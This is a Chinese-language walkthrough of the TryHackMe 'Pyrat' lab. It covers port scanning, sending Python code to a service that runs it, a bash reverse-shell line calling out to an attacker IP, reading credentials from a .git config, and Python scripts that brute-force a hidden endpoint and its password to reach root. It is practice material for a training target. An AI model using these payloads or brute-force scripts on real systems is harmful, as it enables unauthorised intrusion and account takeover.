- 难度 : Easy
- 靶场 : TryHackMe [Pyrat]
- 类型 : 综合渗透
User Flag
首先收集信息端口扫描。
nmap -Pn -sT -sC 10.201.24.77 --top-ports 1000
发现开放了 22 和 8000 端口,先尝试用浏览器打开 8000 端口,得到的提示如下:
众所周知,比 HTTP 更加 basic 的应该就是 TCP 了,用 Python 写个脚本试试。
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.201.24.77', 8000))
s.send(b"""hello""")
d = s.recv(1024)
print(d)
s.close()
得到的响应如下:
疑似存在 RCE ,将 hello 替换成 print(1+2) ,发现响应的内容是 3 ,代码成功执行了,接下来就要构造弹 Shell 脚本了。
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.201.24.77', 8000))
s.send(b"""os.system('bash -c "bash -i >& /dev/tcp/10.13.91.125/9997 0>&1"')""")
成功拿到用户 www-data 的 shell 。
先想办法提权,查看 /opt 路径发现一个可以文件夹 dev ,查看文件夹内所有文件:
ls -al /opt/dev
存在隐藏文件夹 .git
,查看里面的 config 文件:
cat /opt/dev/.git/config
成功找到用户 think 的账号信息,尝试登录 SSH ,发现登录成功,拿到 User Flag 。
ssh think@10.201.127.25
Root Flag
接下来就可以用 SCP 把 .git
文件夹下载下来,进一步分析。
git diff
发现存在一个
endpoint
,疑似可以得到 root 权限的 shell ,编写脚本对 8000 端口进行爆破。
import socket
with open('password100.txt', 'r') as f:
lines = f.readlines()
for line in lines:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.201.83.152', 8000))
s.send(line.strip().encode())
d = s.recv(1024)
res = str(d).strip()
if "b'\\n'" not in res and 'not defined' not in res and 'invalid syntax' not in res and ' not permitted' not in res:
print("endpoint : ", line)
成功找到 endpoint 为 admin ,但是提示需要 Password ,再次进行爆破。
import socket
with open('password100.txt', 'r') as f:
lines = f.readlines()
for line in lines:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.201.83.152', 8000))
s.send(b"""admin""")
d = s.recv(1024)
s.send(line.strip().encode())
d = s.recv(1024)
if 'Password' not in str(d):
print("password : ", line)
print("output : ", d)
break
s.close()
成功找到密码: abc123 。
使用 telnet 进行连接,输入密码,得到 root shell :
telnet 10.201.83.152 8000
成功拿到 Root Flag 。
评论